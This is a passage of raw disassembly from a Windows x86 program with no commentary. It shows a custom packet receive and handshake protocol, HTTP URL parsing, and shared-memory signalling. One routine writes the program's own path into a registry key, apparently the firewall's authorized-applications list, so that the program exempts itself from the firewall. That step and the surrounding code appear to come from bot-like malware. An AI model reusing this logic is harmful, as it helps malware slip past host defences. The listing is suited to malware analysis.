DMN1:00442DB6p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_442B56 cmp eax, 0FFFFh jle short loc_442B5E loc_442B56: ; CODE XREF: sub_442B2D+20j or eax, 0FFFFFFFFh jmp loc_442CD5 ; --------------------------------------------------------------------------- loc_442B5E: ; CODE XREF: sub_442B2D+27j test esi, esi jz short loc_442B69 push ebx call sub_4429D6 pop ecx loc_442B69: ; CODE XREF: sub_442B2D+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_44265D add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_442B90 mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_442CD5 ; --------------------------------------------------------------------------- loc_442B90: ; CODE XREF: sub_442B2D+51j test esi, esi jz short loc_442BA6 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_4428BC add esp, 0Ch loc_442BA6: ; CODE XREF: sub_442B2D+65j cmp [ebp+var_6], 29Ah jz short loc_442BC9 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_4 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_442CD5 ; --------------------------------------------------------------------------- loc_442BC9: ; CODE XREF: sub_442B2D+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_44265D add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_442BEF mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_442CD5 ; --------------------------------------------------------------------------- loc_442BEF: ; CODE XREF: sub_442B2D+B0j test esi, esi jz short loc_442C04 push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_4428BC add esp, 0Ch loc_442C04: ; CODE XREF: sub_442B2D+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_4 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_44265D add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_442C3E mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_442CD5 ; --------------------------------------------------------------------------- loc_442C3E: ; CODE XREF: sub_442B2D+FFj test esi, esi jz short loc_442C54 push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_4428BC add esp, 0Ch loc_442C54: ; CODE XREF: sub_442B2D+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_4 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_442C8C push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_44265D add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_442C8C or eax, 0FFFFFFFFh jmp short loc_442CD5 ; --------------------------------------------------------------------------- loc_442C8C: ; CODE XREF: sub_442B2D+13Ej ; sub_442B2D+158j test esi, esi jz short loc_442CA5 push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_4428BC add esp, 0Ch loc_442CA5: ; CODE XREF: sub_442B2D+161j cmp [ebp+arg_8], 0 jz short loc_442CD2 mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_442CB9 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_442CB9: ; CODE XREF: sub_442B2D+184j mov eax, [ebp+var_4] test eax, eax jz short loc_442CD2 push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_4485B1 add esp, 0Ch loc_442CD2: ; CODE XREF: sub_442B2D+17Cj ; sub_442B2D+191j mov eax, [ebp+var_4] loc_442CD5: ; CODE XREF: sub_442B2D+2Cj ; sub_442B2D+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442B2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442CDC proc near ; CODE XREF: sub_442ED2+18p ; DMN1:00444E2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_442B2D add esp, 14h pop ebp retn sub_442CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442CF7 proc near ; CODE XREF: DMN1:00444D26p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 9 add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_4485B1 add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_4485B1 add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_442A5B add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_442CF7 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_442B2D add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_442DCF cmp esi, 0Ah jge short loc_442DFC loc_442DCF: ; CODE XREF: DMN1:00442DC8j cmp esi, 0Ah jge short loc_442DE1 push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_4 pop ecx jmp short loc_442DF5 ; --------------------------------------------------------------------------- loc_442DE1: ; CODE XREF: DMN1:00442DD2j movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_4 pop ecx pop ecx loc_442DF5: ; CODE XREF: DMN1:00442DDFj xor eax, eax jmp loc_442EB0 ; --------------------------------------------------------------------------- loc_442DFC: ; CODE XREF: DMN1:00442DCDj lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_442E1C movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_4 pop ecx pop ecx xor eax, eax jmp loc_442EB0 ; --------------------------------------------------------------------------- loc_442E1C: ; CODE XREF: DMN1:00442E03j add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_442E5F xor eax, eax jmp short loc_442EB0 ; --------------------------------------------------------------------------- loc_442E5F: ; CODE XREF: DMN1:00442E59j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_442E6F xor eax, eax jmp short loc_442EB0 ; --------------------------------------------------------------------------- loc_442E6F: ; CODE XREF: DMN1:00442E69j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_442E86 xor eax, eax jmp short loc_442EB0 ; --------------------------------------------------------------------------- loc_442E86: ; CODE XREF: DMN1:00442E80j push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_4485B1 add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_4485B1 add esp, 0Ch xor eax, eax inc eax loc_442EB0: ; CODE XREF: DMN1:00442DF7j ; DMN1:00442E17j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_442B10 add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_442ED2 proc near ; CODE XREF: DMN1:00444D4Ep ; DMN1:00444E05p var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_442CDC add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_442F01 cmp ebx, 1 jz short loc_442F06 loc_442F01: ; CODE XREF: sub_442ED2+28j or eax, 0FFFFFFFFh jmp short loc_442F0A ; --------------------------------------------------------------------------- loc_442F06: ; CODE XREF: sub_442ED2+2Dj movzx eax, [ebp+var_2] loc_442F0A: ; CODE XREF: sub_442ED2+32j pop ebx mov esp, ebp pop ebp retn sub_442ED2 endp ; =============== S U B R O U T I N E ======================================= sub_442F0F proc near ; CODE XREF: sub_447672+3Ap push ebx push 10h call sub_441FC9 pop ecx mov ebx, eax pop ebx retn sub_442F0F endp ; =============== S U B R O U T I N E ======================================= sub_442F1C proc near ; CODE XREF: DMN1:00442F55p ; DMN1:00443160p ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_442F47 mov esi, [ebx+4] jmp short loc_442F38 ; --------------------------------------------------------------------------- loc_442F2C: ; CODE XREF: sub_442F1C+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_441FF7 pop ecx loc_442F38: ; CODE XREF: sub_442F1C+Ej test esi, esi jnz short loc_442F2C and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_442F47: ; CODE XREF: sub_442F1C+9j pop edi pop esi pop ebx retn sub_442F1C endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_442F62 push ebx call sub_442F1C pop ecx push ebx call sub_441FF7 pop ecx loc_442F62: ; CODE XREF: DMN1:00442F52j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_442F64 proc near ; CODE XREF: DMN1:004452FEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_442F8B ; --------------------------------------------------------------------------- loc_442F77: ; CODE XREF: sub_442F64+29j cmp [edx+4], ecx jnz short loc_442F88 test bx, bx jz short loc_442F86 cmp [edx], bx jnz short loc_442F88 loc_442F86: ; CODE XREF: sub_442F64+1Bj jmp short loc_442F8F ; --------------------------------------------------------------------------- loc_442F88: ; CODE XREF: sub_442F64+16j ; sub_442F64+20j mov edx, [edx+8] loc_442F8B: ; CODE XREF: sub_442F64+11j test edx, edx jnz short loc_442F77 loc_442F8F: ; CODE XREF: sub_442F64:loc_442F86j mov eax, edx pop ebx retn sub_442F64 endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_441FC9 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_442FB3 mov [ebx], esi loc_442FB3: ; CODE XREF: DMN1:00442FAFj inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_442FCA proc near ; CODE XREF: DMN1:00443177p ; sub_444B07+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_441FC9 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_442FE8 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_442FED ; --------------------------------------------------------------------------- loc_442FE8: ; CODE XREF: sub_442FCA+13j mov [ebx], esi mov [ebx+4], esi loc_442FED: ; CODE XREF: sub_442FCA+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_442FCA endp ; =============== S U B R O U T I N E ======================================= sub_443004 proc near ; CODE XREF: DMN1:0044311Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_443031 ; --------------------------------------------------------------------------- loc_443017: ; CODE XREF: sub_443004+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_44302C test bx, bx jz short loc_44302A cmp [esi], bx jnz short loc_44302C loc_44302A: ; CODE XREF: sub_443004+1Fj jmp short loc_443035 ; --------------------------------------------------------------------------- loc_44302C: ; CODE XREF: sub_443004+1Aj ; sub_443004+24j mov edi, esi mov esi, [esi+8] loc_443031: ; CODE XREF: sub_443004+11j test esi, esi jnz short loc_443017 loc_443035: ; CODE XREF: sub_443004:loc_44302Aj test esi, esi jnz short loc_44303D xor eax, eax jmp short loc_443083 ; --------------------------------------------------------------------------- loc_44303D: ; CODE XREF: sub_443004+33j test edi, edi jz short loc_443057 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_44304F mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_44304F: ; CODE XREF: sub_443004+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_443072 ; --------------------------------------------------------------------------- loc_443057: ; CODE XREF: sub_443004+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_443072 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_443072: ; CODE XREF: sub_443004+51j ; sub_443004+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_441FF7 pop ecx xor eax, eax inc eax loc_443083: ; CODE XREF: sub_443004+37j pop edi pop esi pop ebx retn sub_443004 endp ; =============== S U B R O U T I N E ======================================= sub_443087 proc near ; CODE XREF: DMN1:00443146p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_4430A9 ; --------------------------------------------------------------------------- loc_443099: ; CODE XREF: sub_443087+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_4430AD mov edi, esi mov esi, [esi+8] loc_4430A9: ; CODE XREF: sub_443087+10j test esi, esi jnz short loc_443099 loc_4430AD: ; CODE XREF: sub_443087+1Bj test esi, esi jnz short loc_4430B5 xor eax, eax jmp short loc_4430FB ; --------------------------------------------------------------------------- loc_4430B5: ; CODE XREF: sub_443087+28j test edi, edi jz short loc_4430CF mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4430C7 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4430C7: ; CODE XREF: sub_443087+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_4430EA ; --------------------------------------------------------------------------- loc_4430CF: ; CODE XREF: sub_443087+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4430EA mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_4430EA: ; CODE XREF: sub_443087+46j ; sub_443087+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_441FF7 pop ecx xor eax, eax inc eax loc_4430FB: ; CODE XREF: sub_443087+2Cj pop edi pop esi pop ebx retn sub_443087 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_443113 ; --------------------------------------------------------------------------- loc_443110: ; CODE XREF: DMN1:00443125j xor edi, edi inc edi loc_443113: ; CODE XREF: DMN1:0044310Ej movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_443004 add esp, 0Ch test eax, eax jnz short loc_443110 mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_443141 ; --------------------------------------------------------------------------- loc_44313E: ; CODE XREF: DMN1:00443150j xor edi, edi inc edi loc_443141: ; CODE XREF: DMN1:0044313Cj push esi push ebx push dword ptr [ebp+8] call sub_443087 add esp, 0Ch test eax, eax jnz short loc_44313E mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_442F1C pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_443182 ; --------------------------------------------------------------------------- loc_44316F: ; CODE XREF: DMN1:00443184j movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_442FCA add esp, 0Ch mov esi, [esi+8] loc_443182: ; CODE XREF: DMN1:0044316Dj test esi, esi jnz short loc_44316F pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443189 proc near ; CODE XREF: sub_443217+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 ; RegCreateKeyExA test eax, eax jnz short loc_4431DB push [ebp+arg_C] call sub_4485D1 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 ; RegSetValueExA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_4431DB: ; CODE XREF: sub_443189+29j mov esp, ebp pop ebp retn sub_443189 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4431DF proc near ; CODE XREF: DMN1:004432FEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 ; RegOpenKeyExA test eax, eax jnz short loc_443213 push [ebp+arg_8] push [ebp+var_4] call dword_411E34 ; RegDeleteKeyA push [ebp+var_4] call dword_411E2C ; RegCloseKey loc_443213: ; CODE XREF: sub_4431DF+1Dj mov esp, ebp pop ebp retn sub_4431DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443217 proc near ; CODE XREF: sub_447672:loc_4478A3p var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CDC ; GetModuleFileNameA mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_4432B7 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_4485F1 pop ecx pop ecx push dword_4128A4 lea eax, [ebp+var_105] push eax call sub_448611 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_448611 pop ecx pop ecx push offset aNts ; "NTS" lea eax, [ebp+var_105] push eax call sub_448611 pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_443189 add esp, 10h loc_4432B7: ; CODE XREF: sub_443217+2Fj pop ebx mov esp, ebp pop ebp retn sub_443217 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CDC ; GetModuleFileNameA mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_443306 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_4431DF add esp, 0Ch loc_443306: ; CODE XREF: DMN1:004432EBj pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44330B proc near ; CODE XREF: sub_44335D+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_443358 push 14h push 40h call dword_411CE0 ; LocalAlloc mov ebx, eax push 1 push ebx call dword_411E38 ; InitializeSecurityDescriptor push 0 push 0 push 1 push ebx call dword_411E3C ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_443358: ; CODE XREF: sub_44330B+Ej pop ebx mov esp, ebp pop ebp retn sub_44330B endp ; =============== S U B R O U T I N E ======================================= sub_44335D proc near ; CODE XREF: DMN1:00444C3Fp ; sub_447672+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_44330B push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_412928 push 0FFFFFFFFh call dword_411CE4 ; CreateFileMappingA mov ebx, eax test eax, eax jz short loc_4433C7 call dword_411CE8 ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_4433C5 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov esi, eax test esi, esi jz short loc_4433C5 mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF0 ; UnmapViewOfFile loc_4433C5: ; CODE XREF: sub_44335D+36j ; sub_44335D+4Ej mov eax, ebx loc_4433C7: ; CODE XREF: sub_44335D+29j pop esi pop ebx retn sub_44335D endp ; =============== S U B R O U T I N E ======================================= sub_4433CA proc near ; CODE XREF: DMN1:00444C5Bp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 ; OpenFileMappingA mov ebx, eax test eax, eax jz short loc_443423 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov esi, eax test esi, esi jz short loc_44341A mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF0 ; UnmapViewOfFile xor edi, edi inc edi loc_44341A: ; CODE XREF: sub_4433CA+33j push ebx call dword_411CF8 ; CloseHandle mov eax, edi loc_443423: ; CODE XREF: sub_4433CA+1Bj pop edi pop esi pop ebx retn sub_4433CA endp ; =============== S U B R O U T I N E ======================================= sub_443427 proc near ; CODE XREF: DMN1:0044590Bp arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 ; OpenFileMappingA mov ebx, eax test ebx, ebx jnz short loc_44344C mov eax, 0FFFFh jmp short loc_44348E ; --------------------------------------------------------------------------- loc_44344C: ; CODE XREF: sub_443427+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC ; MapViewOfFile mov edi, eax test edi, edi jz short loc_443484 mov si, [edi] test si, si jz short loc_443479 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_44347D ; --------------------------------------------------------------------------- loc_443479: ; CODE XREF: sub_443427+43j mov si, 0FFFFh loc_44347D: ; CODE XREF: sub_443427+50j push edi call dword_411CF0 ; UnmapViewOfFile loc_443484: ; CODE XREF: sub_443427+3Bj push ebx call dword_411CF8 ; CloseHandle movzx eax, si loc_44348E: ; CODE XREF: sub_443427+23j pop edi pop esi pop ebx retn sub_443427 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_443492 proc near ; CODE XREF: sub_44352A+2Dp ; sub_443A83+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_4485D1 pop ecx mov edi, eax push [ebp+var_4] call sub_4485D1 pop ecx mov ebx, eax jmp short loc_4434D6 ; --------------------------------------------------------------------------- loc_4434B8: ; CODE XREF: sub_443492+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC ; CompareStringA cmp eax, 2 jnz short loc_4434D4 mov eax, esi jmp short loc_4434DC ; --------------------------------------------------------------------------- loc_4434D4: ; CODE XREF: sub_443492+3Cj inc esi dec edi loc_4434D6: ; CODE XREF: sub_443492+24j cmp edi, ebx jge short loc_4434B8 xor eax, eax loc_4434DC: ; CODE XREF: sub_443492+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_443492 endp ; =============== S U B R O U T I N E ======================================= sub_4434E3 proc near ; CODE XREF: sub_44352A+1C4p ; sub_443817+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC4 ; GetTickCount lea esi, [eax+7D0h] loc_4434F5: ; CODE XREF: sub_4434E3+40j push ebx call sub_4424C3 pop ecx test eax, eax jle short loc_443505 xor eax, eax inc eax jmp short loc_443527 ; --------------------------------------------------------------------------- loc_443505: ; CODE XREF: sub_4434E3+1Bj push offset a_ ; "." call sub_4481E1 pop ecx push 12Ch call dword_411D00 ; Sleep call dword_411CC4 ; GetTickCount cmp eax, esi jb short loc_4434F5 xor eax, eax loc_443527: ; CODE XREF: sub_4434E3+20j pop esi pop ebx retn sub_4434E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44352A proc near ; CODE XREF: sub_443A83+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_448551 add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_443492 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_44356C xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_44356B: ; CODE XREF: sub_44352A+4Aj inc ebx loc_44356C: ; CODE XREF: sub_44352A+38j mov al, [ebx] test al, al jz short loc_443576 cmp al, 2Fh jnz short loc_44356B loc_443576: ; CODE XREF: sub_44352A+46j jmp short loc_443579 ; --------------------------------------------------------------------------- loc_443578: ; CODE XREF: sub_44352A+57j inc ebx loc_443579: ; CODE XREF: sub_44352A:loc_443576j mov al, [ebx] test al, al jz short loc_443583 cmp al, 2Fh jz short loc_443578 loc_443583: ; CODE XREF: sub_44352A+53j xor esi, esi jmp short loc_44359B ; --------------------------------------------------------------------------- loc_443587: ; CODE XREF: sub_44352A+7Dj cmp esi, 3Fh jb short loc_443593 xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_443593: ; CODE XREF: sub_44352A+60j mov al, [ebx] mov [ebp+esi+var_40], al inc esi inc ebx loc_44359B: ; CODE XREF: sub_44352A+5Bj mov al, [ebx] test al, al jz short loc_4435A9 cmp al, 3Ah jz short loc_4435A9 cmp al, 2Fh jnz short loc_443587 loc_4435A9: ; CODE XREF: sub_44352A+75j ; sub_44352A+79j mov [ebp+esi+var_40], 0 cmp byte ptr [ebx], 3Ah jz short loc_4435BA xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_4435BA: ; CODE XREF: sub_44352A+87j inc ebx cmp byte ptr [ebx], 0 jnz short loc_4435E1 xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_4435C7: ; CODE XREF: sub_44352A+C3j movzx eax, di lea eax, [eax+eax*4] add eax, eax mov di, ax movzx eax, di movsx edx, byte ptr [ebx] sub edx, 30h add eax, edx mov di, ax inc ebx loc_4435E1: ; CODE XREF: sub_44352A+94j mov al, [ebx] test al, al jz short loc_4435EF cmp al, 30h jl short loc_4435EF cmp al, 39h jle short loc_4435C7 loc_4435EF: ; CODE XREF: sub_44352A+BBj ; sub_44352A+BFj cmp di, 1 jnb short loc_4435FD xor eax, eax jmp loc_443810 ; --------------------------------------------------------------------------- loc_4435FC: ; CODE XREF: 